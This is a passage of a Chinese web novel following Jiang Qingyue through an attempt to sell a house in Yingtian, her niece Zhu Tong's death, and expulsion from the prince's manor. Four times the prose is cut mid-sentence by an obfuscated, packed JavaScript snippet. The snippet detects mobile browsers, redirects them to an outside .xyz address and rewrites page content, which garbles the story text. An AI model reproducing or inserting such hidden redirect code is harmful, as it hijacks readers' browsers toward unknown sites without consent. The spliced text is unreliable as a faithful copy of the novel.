“特殊时期自然特殊对待之,要单独照看一个几乎不能自理的病人,这可不是一两银子月钱就能打发的。”江清月知道自己这处攻心计有了成效,于是便趁热打铁说道:“至于其他人,南下这一趟的坎坷,我自然是知道的,待安稳回了盖州卫,我会亲自给你们发红包,可在那之前,我不希望听见有任何人喊苦喊累,或是临阵脱逃,做得到么?” 一听见有打赏,众人便吊起十二分精神,纷纷争着要做活路,可一时半会儿又没有那么多事情要忙,于是便在门外走廊来回踱步,一听见风吹草动便凑上去,表明态度。 所有人之中,唯独兰姑的神色有些复杂,几次三番想要找江清月单独说说话,却被殷勤的其他人给打断,最终只好不了了之。 江清月最初的计划是一口气赶回盖州卫的康县郡王府,许多事情她自认为还做不了主,希望能请示江氏后再想法子。 可朱潼的病情恶劣之程度是江清月始料未及的,石大夫几乎下了猛料,可她却没有一点儿要好的迹象,海船的颠簸更是为她原本就虚弱不已的身体带去额外负担,原本皮脂凹陷的脸颊变得又红又肿,似乎一针下去就会像气球似地泄气,令亲眼见过的人都心疼不已。 一日,珠儿在为朱潼擦洗时,惊觉不妙,连连唤来石大夫,发现她的脉搏已经十分衰弱,呼吸也变得缓慢,他很是心惊,同江清月商量对策:“这样下去,怕是撑不到抵达的那一日。” 于是刚驶离刘家港的海船不得不折返回港,阿康连忙将朱潼背下船,一行人快马加鞭,一刻不停地赶去应天府最好的医馆。 “恐怕我们要在应天府住一段时日了。”江清月看着大夫凝重的神情,一刻不敢停,将事情吩咐了下去。 “兰姑,你身上保管有多少银两?” “估摸着还有二十几两。” “应该足够了。灵玲,你同兰姑一起去附近寻个合适的住处,让小厮将我们的行李搬去客栈,这些东西总在医馆放着,不像话。” “好的,姑娘。” “花芸,你立即着手写一封书信……算了,还是我亲自来写。” 江清月连忙抄起医馆记账用的纸和墨,顾不得字迹如何,洋洋洒洒记下医馆的地址以及目前的状况,郑重叠好后交给花芸,“你去街上打听打听,找一家靠谱的镖局,请他们以最快的速度将信送达康县郡王府。” “月姑娘,我现在就去。” “珠儿,潼姐儿的情况你最清楚,你和阿康就留在医馆继续照顾着她,听从大夫的安排。” 江清月看着病榻上的朱潼,心中酸涩不已,甚至宁愿躺在那里的人是自己,也不要是她。 可在这里干站着,朱潼的病并不能好起来,而她们其他人却有可能陷入困境。江清月只好压抑自己的担忧情绪,背过身去,对着一旁的阿福说道:“你同我出去一趟。” 有件燃眉之急的事情亟待解决。 江氏曾安排的是:江清月一行人至广州府,当下便可从钱庄支取五百两银子,之后每月可再领一百两,因已有府邸,仅看病、吃喝、出行,甚至加上人情打点,都应十分充裕。 可突发事件接踵而至,光是临时包船返回辽东就足足付了一百两银子,再加上一路舟车,以及其他零零总总的条目,该花的、不该花的都掏了出去,如今手上只剩下五十两银子。 拢共八口人等着生活,其中还有一病人,江清月不知会在这人生地不熟的应天府待多久,她心中没底,又不敢在下人面前露怯,恐弄得人心惶惶,只能悄悄带着比较顿感一些的阿福出来打听当地的牙行。 江清月心中暗想,若是能快速处理掉广州府的那套宅子,就能再宽裕一段时日,至少可以撑到康县郡王府了解情况,做出应对,她们便不会如此拮据。 “阿福,你同我一起去茶楼里打听打听,看看周围可有靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047616|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谱的牙行。” “姑娘要买卖什么东西么?” “广州府那套宅子看样子是用不上了,与其落在那边生灰,不如换成银票放身上,我们吃住能够更充裕些。” 阿福是个憨厚人,向来不多思考,说道:“还是月姑娘考虑的周全。” 原先在盖州卫,江清月常年幽闭于家中,鲜少出门,即使出行,身旁必伴随着江氏或朱潼,不会单独在外找乐子,更别提在这人生地不熟的茶馆里饮茶听评书。 虽也像模像样点了几壶茶、一些甜腻的点心,好似融入了周围环境中去,可江清月听不懂人们之间交谈的话语,那些像唱曲似的音调,对她来说完全是另一门语言体系。 可她心里又担心,若是同这些人讲官话,他们见她是个外地来的、身上又带着不少钱财,坑她一笔都是小事,就怕被拐骗了去,还不知道怎么回事。 一番思想斗争后,江清月一拍桌子,自言自语道:“连找个牙行都这么畏首畏脚,真要卖的时候岂不还纠结个几天。” 旁边人听见,扭过头说道:“前面直走再左拐,就是牙行一条街,你上哪儿去看呗。” 江清月朝那人点了点头,表情却有些僵硬。 阿福以为这就是江清月的计谋,佩服的神情溢于言表,说道:“没想到月姑娘的手段如此简单又实用,原来很多事还可以如此解决。” “笨阿福,这和在街上随便拉一个人来问,有何区别?白白花了喝茶的钱。” 江清月心里虽如此想着,但碍于面子,脸上挤出一丝不好意思的微笑,默默收下他的夸赞。 两人快步来到所谓的牙行一条街,实际上就是五家牙行像“红花”一样点缀在繁茂的街市里。 江清月站在门口随意打量起各家店,挑了家最有派头的牙行,大步跨了进去。 “老板,我要卖一套宅子。” “什么地段,什么街?哪家人的府邸?” “不在应天府,是广州府的一套小院。” 丰腴的老板推了推金丝眼镜,将江清月打量了一番,“非熟客,不办理跨区域业务。” “可我手持的是加盖官章的红票,清清楚楚载明了一切详细内容,是非本地有何重要?” “夫人,您莫急,门外左转还有那么多些牙行,俗话说得好,货比三家嘛。”老板扯起嗓子用当地话喊到:“干什么?还不快来送客。” 江清月头一次出门在外吃瘪,忿忿道:“店大欺客。” 门外忽然走进一人,他手上提着一坛子新酒,猛地一提,一放,压在堂内的地毯上。 “唐老板,上次牙人带我去的间朝东的院子,能不能再便宜些?” 江清月顺着熟悉的声音看去,竟是上次在刘家港帮忙送信的渔夫。 “哎哟,二老,那可是新宅子,不到十年龄,清新雅致,想要的人排老长队去了!还不是咱俩关系好,特意给你留的,三百贯已经很良心了,我都不赚你的。” 江清月心中犯嘀咕,“谁是二老,他吗?” 9. 交易 博烟渚并未理会江清月的诧异,他定定地走向唐老板。 “那房子东屋三年前走水,换了木梁、刷了新漆,虽从外看上去与其他房屋无异,可终究是伤了根本,破了整屋运势,不敢住人,若要重修修缮,可是笔大开支。” 唐老板显然没有方才那么笃定,他问道:“那你的意思是,能给多少?” “两百贯。” “两百?你小子耍我呢,我出这价钱,你卖给我好不好?” 博烟渚没着急回答,他从腰间摸出一只酒葫芦,拔出塞子的瞬间,清香的口味丝丝萦绕着堂间,仅是闻上一闻便惹人心醉神迷。 “这次的梅子酒品质极好,只做了三坛,一坛给了玲珑郡主,另一坛给了岽仁镇国将军,最后这坛,赶在东街王叔围上门前给你搬了过来。” “当真?”唐老板接过那酒葫芦,先是嗅了嗅,呷了两口,“酸甜入喉,余韵绵长,确为好酒。” 博烟渚接过酒葫芦,摇了摇说道:“三大坛,我只留了这么一小壶。” 唐老板咂了咂嘴,又瞧了瞧地上那坛酒,他招手让店小二将酒抬回房内,即是默认了与博烟渚的交易。 “不过那房子早就差人装潢过一次,你是怎么知道那里走水过?” “听说我中意那套屋子,街坊邻居同我讲的。” “二老啊二老,我在应天府做了大半辈子生意,什么样的人都见过,却败在你这毛小子手里。” 两人谈笑时,店里陆陆续续来了其他客人,江清月退至一旁,既不离开,也不上前,她的眼睛四处打量,似乎正盘算做些什么事情。 又进来两名贵客,唐老板不得不上前招呼,博烟渚转头走进柜内,接过唐老板的手里的活,帮忙拟起票据。一旁的店员看着,已习以为常,纷纷绕过博烟渚,忙起其他事来。 江清月绕开店内走动的人群,默默走到博烟渚面前。她先是看了看周围,无比谨慎地取出那张广州府宅子的红票,摆在桌上,用砚台压住折起的一角。 “之前不知道你是博家二公子,言语多有得罪。”她低声道,“途中多有变故,我想卖掉广州府的这套宅子换现钱傍身用,可这里的老板并不做外乡的生意,想来你我二人既然相识一场,且见你同这里老板相熟,不知能否请你帮忙引荐?” 江清月见他不为所动,又忙补充道:“若二老能帮忙促成生意,必有重谢。” 博烟渚并非要得到这句“必有重谢”才愿意,听闻康县郡王府出行皆奢靡,不知为何如今差“丫鬟”来卖地契,心中有疑虑,于是想了片刻。 直到对方将那红票递到他手边,才仔细瞧起来,“你们在应天府,大致要住多长时间?” “这和买卖有关系么?” “就算是有人担保,牙行也要派牙人前往广州府,仔细勘察过,方才能给出估价。若是一砖一瓦都没见过,谁敢保证那里就有这样的府邸?还不如托人返回广州府,在当地找一家靠谱的牙行。” “这红票上盖的是官章,若有欺瞒是会吃牢狱之苦的,我既然敢大方摆出来,那便不可能有假。” “你说你可信,他人却未必觉得。”博烟渚将房契放在桌上,推至她的面前,“买卖房地非小事,岂能随意便答应。” 江清月叹了口气,以为博烟渚在羞辱自己,原本想和他理论一番,又想到家中生了病的朱潼,不愿多费口舌,收起票据便转身离开。 博烟渚隔着门口的细缝看着她的背影远去,低头写着字,心却飘出去,沉不下来做事。 “你去看看,刚才那人最终去了哪家牙行。” 大莊挠了挠脑袋,“哪人?” “绿袄子白裙,身旁跟了个灰脸的家丁。” “是咱们在船上遇到的——那个持郡王府威势,言语有些傲慢的丫鬟?” “她如此开口,想来确实有难处,若真是不闻不问……”博烟渚叹了口气,放下手中的纸笔,“大莊,你在这守着,我去看看便回。” 博烟渚绕过柜台,推门走了出去。街上人来人往,摩肩擦踵,纷纷忙着自己的事情,快步走过,临街口的巷道却不知因何缘故,忽然围起不少人,一圈一层包裹着,隔断人群的流动。 博烟渚艰难挤过人群,在其他牙行门口徘徊张望,却不见江清月的身影,心存疑虑,以为她打消了卖房子的念头,正准备返回时,无意间瞥见那堆围观者之中,站着位白脸绿袄的姑娘。 原来江清月接连问过几家牙行碰壁后,便知道此事做来并不容易,于是几乎是灵光一闪,差阿福上街买了张白纸,她亲自将房契信息整理于上,并标明了个足以吸引人注意的价格。 应天府少有此类行为,沿街果然有不少人驻足观看,但看的不是那房契,而是特立独行的江清月,纷纷议论起她为何人,为何做出这样的行为。 江清月并无意与谁争脸面,只是想着这附近定有许多前来买卖的人,挑中了这地儿而已,断然不知她的行为对本地的牙人来说,无异于砸人饭碗,甚至是公然挑衅他们。 不一会儿,消息便传遍了各牙行,有的派店员前来打探,有的干脆掌柜亲到场,原是互相较量的一行人,此时是前所未有的团结,低声商量着如何处理此事。 “不管找什么原由,先把人带走,再解决。” “对,再去告衙门,看看票子究竟有没有加盖印章。” “……” 博烟渚拍了拍阿福的肩膀,朝江清月说道:“刚刚没找着你,原来是在这里。” 江清月一脸狐疑。 “怕我看不清楚,你便写了这么大的字来寻我,真是费心了。”他一把卷起那张大纸,朝江清月使眼色,“天气炎热,去茶楼里坐着聊。” 掌柜的眼见是博家二老,问道:“二老,你不是在唐老板那里刚谈成一笔买卖,怎么又瞧上广州府的府邸了?” “做生意的,天南海北四处奔波,有合适的自然就想了解下。”他转移话题,凑近掌柜耳边问道:“对了,刘叔,昨日给你家送去的梅子酒,味道如何?” “你酿的自然是好。”掌柜捋了捋胡须,“你说你这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047617|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就酿了三坛,除了郡主和镇国将军外,给我送了这一坛,原想着什么样的品质能送进那等贵门之中,如此尝来,果真名不虚传。” “知道刘叔你爱品酒,特意留着的,不过……” “不过什么?”掌柜说道,“可有啥难处?” “应天府太多人等着喝这一坛,我给你送来了,旁的人便只能得个下乘的。” “我自己都舍不得喝,肯定不会告诉他人,来分我一瓢。” 博烟渚摆了摆手,拱手对江清月说道:“借一步说话。”三人步行至小巷中,才刻意停下。 “二公子,你这是何意?” “你家县主竟然让你在牙行门前张榜买卖,若事情传开,将来就再难在应天府找牙行了。” “好奇怪的话。” 江清月皱了皱眉,站定在石阶上。天边一束阳光透过砖瓦的缝隙落在她的后脑勺,她回想起上一世的庭审生涯,侃侃道: “当下,没有任何法律、制度禁止个人买卖房产,只需签订契约,去官府备案、缴纳税费、加盖印章即可。我着急出手,价格本就低,再减去牙行抽成的部分,虽有风险,但在如此的利好下依旧有人愿意了解。这一切仍归于常理之内,童叟无欺,你为何要像我做错事般,拉我离开那里?” 博烟渚双手抱臂,眼里有些异样的神情,暗暗地,似乎有些吃惊,说道:“话虽如此,情面上却不能……” “原来你不是来交易的。”江清月打断了他,“那就别耽误彼此时间,我得去寻下一个买家。” “应天府达官显贵如云,并非人人都知辽东盖州卫的康县郡王府。”博烟渚先一步离开了巷道,“你的招贴我收下了,你若真心想出售,就来南阳街宏福客栈找我。” “莫名其妙。” 干忙活了大半日,江清月几乎空手去空手回,还将此事弄得如此不体面。家中人人尽知她拉下脸面上街张榜,倒是豁出去了,预想中的收益却未得到。 兰姑将江清月拉至一旁,从腰间取下一小袋,小袋中装着红布,包裹着五十银两。 “江姑娘,我都听玉儿说了。”兰姑叠了叠红布,小心递给江清月,“潼姐儿正是用钱的时候,还请务必收下。” “这怎么行,这钱是我给玉儿的贺礼,再怎么困难,也没有将送出去的再收回来的道理。” “江姑娘,我是郡王府的下人,伺候两位姑娘是分内事,玉儿虽同郡王府无关系,可若是收主人家如此厚礼,会坏了礼数。若玉儿不同我说,独自收下了这钱,我更要责怪她不懂事。” 江清月缓缓坐在椅凳上,回忆起这几天的事,心里不是滋味。 “总以为之前已经活的够明白,却没想到处处碰壁,事事都做的不好。” 兰姑拉过江清月的手,语重心长地说:“姑娘是心好,这是任谁都知道的。” “好心办坏事,比坏心更坏。” 两人窃窃低语时,珠儿从医馆的厢房一路小跑至大堂,她弯腰扶墙,气喘吁吁说道:“江姑娘,四、四姑娘醒了!” 10. 低谷 江清月急忙赶至朱潼所在的厢房内。 “姨、姨母,你来了。” “你就别起来了,快躺下歇息。”江清月看着床榻上面如枯槁、身形消瘦的朱潼,鼻子一酸,两行泪滑过脸颊,她拿起一旁的扇子,轻轻扇着,口中暗哑重复道:“醒了就好,醒过来就好。” 朱潼已没力气转动脖颈,只能勉强抬起眼皮,两颗乌丸似的眼珠子上下翻动,打量着周围。 “这是,在哪儿?” “我们在应天府休养,待你好一些,我们便回盖州卫。” 朱潼时不时仍咳嗽两声,像要咳出肺似的,浑身都跟着颤动,就快把这副身躯震得散架。 “不回盖、盖州卫,我想去广州府,治腿疾。” 江清月背过脸去拭泪,尽量压抑住颤抖的情绪,说道,“大夫说,你的腿疾已经好了,现在只需要安心休养。” 朱潼的脸上挤出一丝笑。她的嗓子已经咳肿,每说一句话,都像吞刀子似的,索性点了点头,江清月便知道她的心,想要说些什么。 每个人都脸上都挂着两圈乌青,一连好几日,众人的情绪都被调动着,时刻不敢松懈。 一直到朱潼终于有了好转的迹象,大家才片刻放下心。 “珠儿,这几日你最是辛苦,这里由我和灵玲看着,你们其他人都去休息吧。”江清月从兜里掏出管家钥匙,叮叮当当地交给兰姑,“兰姑,你得空时去收拾下院子,说不定过几日,便要接潼姐儿回去住了。” “江姑娘,你好好照顾身子,四姑娘的病还未好利索,你可不能倒下了。” “想来我也照顾不了什么,只是在这陪陪潼姐儿罢了。”江清月挥了挥手,“去吧。” 那天夜里,久旱的应天府下起暴雨。从天要将黑时便看得出遍布的乌云,屋外的梧桐树叶被吹得翩翩起舞,窗户开了又关,关了又开,从缝隙里吹出呜呜的奏鸣曲。 这满屋子的家具原本用于医馆家的女儿陪嫁用的,但朱潼体弱又娇惯,实在睡不了木板床,于是便花了高价住进这新屋。 江清月坐在拔步床的床沿边,一手垂地,一手搭在床面上,轻轻握住朱潼的手。 “姑娘,您在这里待了几个时辰了,晚上就让灵玲伺候四姑娘,您回去休息吧。” 看着屋外的雷鸣电闪,一道道金光劈下,朱潼不自觉握紧拳头,浑身发冷颤,江清月见状,自是不肯离开。 “夜里刮风、下雨,天怕是会凉一些,灵玲,你替我找一床被褥,我在此将就歇息着。” “诺。” 顷刻间,雨滴便落下,先是淅沥沥的小雨,随后渐渐聒噪起来,豆大的雨滴打在青砖灰瓦上,发出密密麻麻的声响。 伴随着雨声的,还有那如同火药炸响似的雷声。 耀眼的白光闪过,即使闭上眼亦觉得自身在白昼,而轰鸣的响声却把人拉回现实,朱潼浑身冒着虚汗,虚声说道:“姨母,我怕。” 江清月推开身上的被褥,站起身来,她半躺了上去,从背后环抱着朱潼,右手轻拍着她的胳膊,唱起摇篮曲来。 “潼姐儿不怕,我在你身边。” 两人紧紧贴在一起,最终随着雷声、雨声渐小而昏昏睡去。 直到第二日清晨,灵玲推门进来替江清月时,她才从睡梦中醒来。 江清月的手臂被压麻了,但她见朱潼睡得香甜,便不忍心打扰。 她想给朱潼盖上被子,手指触碰到对方的手臂时,江清月心里顿感不妙,立即翻身坐了起来,轻轻摇晃着朱潼的身子。 “潼姐儿,天亮了,该醒来了。” 她一面哭,一面摇着。 灵玲吃惊,跑到屋外大喊着大夫,原本昏暗的厢房点上蜡烛,三五人挤进这间小小的、原本应该是喜庆的屋子内。 江清月悲怆得难以自已,全然没有她想象的那般成熟,至少还不足以淡然面对至亲至爱的离世,她声泪俱下,几近歇斯底里,任凭灵玲如何扶她,她都不肯离开床榻。 她将头和脸深深埋在朱潼的背后,紧紧抱着她已经有些僵硬的身体。 她原本应该害怕这样的场景,但不知为何,此刻却紧抓住不放,就好像只要不动手,朱潼就不会真的离去似的。 “姑娘,该放手了,让四姑娘好好休息吧。” 兰姑赶到现场时,屋内已经挤满了人,他们见惯了生死,却仍为他人的逝去而伤感。 江清月的泪已经流尽了,她抹了抹脸颊,定定地坐起身来,看着周围的一切,顿时觉得是如此的陌生。 她几乎没有迟疑,像是下定了什么决心似的,头也不回离开了那间屋子,但身体还未适应,于是一路上走的跌跌撞撞、东倒西歪,勉强扶着墙或是被搀扶,才不至于摔倒在地。 虽然身体未倒下,但江清月的意志已然全军覆没。 这段时间,她并不是从未想过最坏的结果,或许是昨日的回光返照给了她错觉,以至于希望破灭之后,江清月的力气也同那浮游的寄托一同被抽走了。 她不知自己如何被抬回了府上,也不知浑浑噩噩躺在床上有多久,江清月甚至不明白那几日她为何想个不停,事后却又不记得想过什么。 在那期间,兰姑代替了江清月承担下许多事,其他人——花芸、珠儿、灵玲、阿康与阿福,均安心应从,陪伴在她身旁,按部就班做起分内事。 兰姑虽能应付大多数事情,可有一件事,她无权决定,却又亟待解决。 那便是如何处理朱潼的后事。 应天府气候炎热,尸身无法存放太久,兰姑曾向船家打听,仅靠她们手上那点银两,绝无可能将一具正在腐坏的躯体一路运至辽东。 她们做不了决定,可江清月又一蹶不振,情况最终陷入两难。 “你们照顾好姑娘。” 兰姑留下这句话后便走了,只留下几个年轻的丫鬟。花芸有些担忧,将此话讲给江清月听了去,她却耷拉着眼皮,面无表情,眼神空洞。 半日后,兰姑带着一脸疲意回到这个灰尘遍布的院子中,从腰间翻出几张银票,交给江清月。 “江姑娘,我这还有些银票,我们先带四姑娘回辽东吧。” 江清月的眼泪在眼眶里打转,她微微抬起头,目光里终于恢复了一丝生机,又低头看向那几张银票,说道:“兰姑,这是从哪里来的?” “女婿家是绸缎庄户,虽规模不大,但好歹有些储蓄,比平常人家充裕些。”兰姑说道:“姑娘不用担心,我是以自己的名义向他们借的,不会对郡王府有什么影响。” “这里唯一同康县郡王府有关的人已不在,那些虚名也不必在意。”江清月低声道:“兰姑,这份情我记下了,待回到辽东,我定然双倍奉还。” “潼儿受了太多苦,我不想再让她遭受海船的颠簸。”江清月站起身来,“兰姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047618|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你去帮我打听一下,将她葬在应天府吧。” “可郡王妃那儿如何交差?”兰姑欲言又止,”哎,目前想来也只有这个法子了,我这就去办。” “安顿好这一切后,我自会跟阿姊交代。”江清月环顾四周,嘱咐道,“珠儿,这几个丫鬟中你最年长,也最可靠。我要出去办件事,不知多久能回来,在那之前,你来协助兰姑,处理府上的事务。” “好的,姑娘。” 江清月对着铜镜理了理头发,无心打扮,换了身衣服便去了南阳街。 因心里怀着愧疚和悔恨的复杂情绪,她这一路上都低着头,右手紧攥着左腕,任谁看也不像是康显郡王府出来的江二小姐。 “敢问这里可是宏福客栈?” “来者何人?” “江氏,有要事同博家二老相商。” “二老不在客栈。” “他何时回?我当真有重要的事要拜托他。” 跑堂上下打量了一番,以为她是走投无路的破落户,在江湖上听闻了博烟渚乐善好施的事,也前来撒泼混口饭吃,所以言语中多少有些戏谑。 “二老为人正直,行侠仗义,但也不是什么闲事都管。他一早离开,说不准何时回,你要等,便到一旁去等。” 江清月叹了口气,侧身站在离客栈大门几尺旁的荫蔽下。 烈日当空,炎炎之光灼烧着皮肤,不一会儿就变得通红、发烫,浑身渗出密密麻麻的汗,浸湿了衣裳,也模糊了视线。 江清月的呼吸变得沉重,身体虚弱无比,仿佛风轻轻一吹便能倒下。 只要稍微开口,请求跑堂让她进去坐坐,即使被拒,处境也不会比现在更难过。可她却似乎有意让自己痛苦,仿佛这样的感觉源自忏悔。 她慢慢扶着墙壁,双手抱膝,蹲了下来。 不知过了多久,几乎是半夜三更,博烟渚才匆匆回到客栈。 江清月从僵硬的躯体舒缓过来,从阴影中一把拉住他的衣角,迫使他停了下来。 “是你,你怎么在这儿蹲着?”博烟渚似有些吃惊,连忙差手下将她扶进客栈,“三伏天,即使夜晚也难避暑热侵袭,若是中热又倒在这无人之地,恐有性命之忧。” 江清月并未回应,只说出心里一直准备着的话。 “上次二公子说,要买下广州府的府邸,此言当真?” “有康显郡王府的名声做担保,我自然也是愿意的。” 江清月从衣袖里掏出那张有些被汗浸湿的红票,放在桌上捋了捋,“如今我带来了,二公子能否兑现诺言。” 博烟渚凝眉看着那票子,又抬眼看看江清月,只见她面容憔悴,虽刻意整理过衣衫,却还是看得出仓促。 “大莊,回房间取银票出来。” “公子,这会不会有些太草率了?”大莊俯于耳旁说道,“万一她是偷来的房契怎么办?要不要跟郡王府的县主确认一下?” 博烟渚心想,原本应去广州府的一行人,莫名出现在应天府,县主家“丫鬟”如此东奔西走,心力交瘁,而县主却不现身,想来就是县主本人遇到了什么麻烦事,她的手下才如此焦头烂额,甚至慌不择路。 “两百五十贯,就当是我同郡王府之间的人情,即使是越俎代庖,他们也不得不领。” 江清月收下这样一笔“巨款”,仅留下一句淡淡的感谢,没有丝毫懈怠,立即赶了回去。 11. 返乡 出殡那日,应天府城郊下起大雨,淅沥沥的雨点浇湿泥土地,沾湿过路人的衣摆,染上难看的褐棕色。 原本就闷热的天,再下了雨后,云雾迷腾,萦绕在山间,化成黏腻的汗,贴在人们的皮肤上。 江清月站在队伍的前列,缌麻白衣带一如那白纸长条幡摆动,手里紧紧攥着那只尚有余香的荷包。 她为朱潼挑选了一块靠水背山的地方,三把金钗作陪葬品,用四重髹漆套棺安葬之。 仪式则从简,除了必要的主持丧葬的大师,便只有江清月和兰姑她们在场。应天府再无外人知晓,小小的土包之下,有位异乡的豆蔻少女安眠于此。 来时,她们乘着郡王府包下的远洋客船,满怀希望;返时,身上所剩无几,只能夹在货船的仓间,同一堆镖箱、货物挤在一起,勉强入睡。 “姑娘,我听舟师说,今日便能到金州卫,我们上岸后换马车出行,再两日就到郡王府。” 江清月点了点头,越是靠近盖州卫,她便越发不安。 她不敢只寄一封丧信回府,更是不敢想象江氏得知此事后该如何渡过这心坎,只能日日夜夜忧思,人都消瘦了几番。 “兰姑,我的心仿佛被撕碎了,既感到悲伤,又不自觉思虑万分。痛苦不仅在于潼儿的离去,还有难以面对阿姊时的担忧。”江清月顿了顿,“可我总觉得,这样似乎不太对,好像我是出于愧疚,才会如此难过。” “这次的事是天灾,谁都无法预料到的,郡王妃明事理,即使再悲痛,也不会迁怒于姑娘的。” “我并非怕被责怪。”江清月低垂着眼眸,“哎,我也搞不清楚我自己。” 回到盖州卫时已是夜深。 康显郡王府本就偏离闹市,四周无人,加之家丁开了后门,几乎无外人知晓江清月一行人已回到府上。 当报信说要提前返回家中时,江氏心中便有了不好的预感,一连好些时日寝食难安,疑心焦虑发作,严重时手指僵硬抽搐,几度呼吸不上来。 那夜她同家丁早早等候在后院,夜色朦胧下,本没看清江清月身着缌麻,尚可隔着稍远的距离交谈几句,直到看见她带着哭腔走近,江氏倒吸一口凉气,直接晕倒在地。 三五个丫鬟拉住郡王妃,连忙往房内送,又通知了休憩于西厢房的郡王爷,让他老人家半夜起来解决家长里短。 郡王爷身上还穿着睡袍,在“家事阁”内踱来踱去,抓耳挠腮,连连叹气,说道:“你是说,四丫头得了肺痨去世了?走的时候还好端端的,怎么就,哎!瞧你们办的什么事儿!” “父亲,生老病死,天道使然,凡人如何得以左右之?此趟南下,姨母费心费力,若将四妹妹的病故埋怨于她身上,寒了家人的心。” “家人?我和你母亲是你家人,兄弟姊妹是你家人,但江清月,不过是借住在我府上的外人,她姓江,不姓朱。” 大郎朱澈和李钦语低着头坐在一旁,生怕“战火”蔓延到自己头上。 “郡王爷要如何怨恨,或是责罚,我全盘接受,可眼下最重要之事,是要同阿姊商量如何处理潼姐的后事。我将她葬在应天府,旁的什么也没带回来,如何立碑、服丧,等处理好这一切,我自会从康县郡王府上离开。” “不必了。”郡王爷冷冷道,“这些事我自有安排,你收拾收拾,即日就搬出去吧。” 江清月木讷地抬起头,“我得等到阿姊……” “这就是江氏的意思,整个府上,最不愿见到你的就是她。亲姊妹害死了她最疼爱的女儿,她脾性软,对你不能打不能骂,你让她如何面对你?” 江清月不再争辩,像是被抽去力气,失魂落魄地跪在地上。 “不仅仅是你,这次南下的所有下人——兰姑和那几个丫鬟、家丁,也都一起赶出去算了,看着心里就堵。” 李善俪提醒道:“郡王爷,那几个下人当中有个是家生子,父亲是府上的吴管家,怕是不太好赶出去。” “那就连吴管家一起赶出去,堂堂郡王府难道还能缺管家不成?” “吴管家已经在府上做了二十多年了,熟悉家中各种事务,一时半会儿难以找人来替,再者若贸然赶出府,怕是要引外人非议。” 郡王爷想到这儿,散了口气,无奈道:“那就叫那个花什么的,在后院里好好待着,没事别在我眼前晃悠。” 天将亮未亮时,马车如何进的郡王府,又如何退了出来。 江清月一行人只能先住去康县郡王在城西的另一套府邸,原本是江氏买来给潼姐休养生息的临海小院,如今人去楼空,往日温暖美好的楼阁也变得冷清悲凉起来。 “害你们被赶出郡王府,我心里当真过意不去。”江清月拉着她们的手,站在空荡荡的堂屋内,“等过段时日,我得了应得的那份,自立门户后,若你们还肯跟着我,今后必然不会辜负任何一个人。” 珠儿拉着江清月的手,说道:“一旦被主人家赶出来,我们的名声也便不好了,有姑娘收留我们,自然是万般愿意的,不求富贵,但求细水长流。” 江清月点了点头,可未来何去何从,她心里却无从得知。 虽被“赶”出府,她却时时关注着府上的动向,尤其担心江氏,每日都派阿康阿福前去打听,可郡王府就像是无事发生一般,并未挂起白布条,一切照常。 “兰姑,是我糊涂了么?嫡女病故,为何康县郡王府却不像有丧的样子。” “我也觉得奇怪,会不会是那位郡王爷觉得脸上挂不住,便不对外声张了?” “这种事情,如何能瞒得住。” 咚咚咚,后门传来响动。 “谁会来敲这里的门?”兰姑一脸疑虑,快步至后院。 “王嬷嬷?您老人家怎么来这儿了?” “我带来点话,进去说吧。” 王嬷嬷坐定在堂屋内,先是聊了些家常,报了平安,几番铺垫后才谈起此番来的目的。 “郡王爷和郡王妃的意思是,四姑娘的事,就不要对外说了。”王嬷嬷语重心长地说,“当初郡王爷声势浩大地将女儿送去南边治病,十里八乡都知晓,赞颂郡王爷美德,若是如今告诉大家,四姑娘不仅病没好,命还丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047619|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在异乡了,只会招来许多莫须有的闲话。” “王嬷嬷,您说这话我有些听不明白,难道郡王爷要为了这莫名的名声,就不给潼姐超度、服丧?我们一行人过家不入被赶出府,难道这时就不顾及他人如何议论了?” “郡王爷那时忧思过度,许多事不能按常理来理解。郡王爷和郡王妃的意思是,同样不会声张将你们赶出府的事,对外就说是姑娘大了,想独立了。” 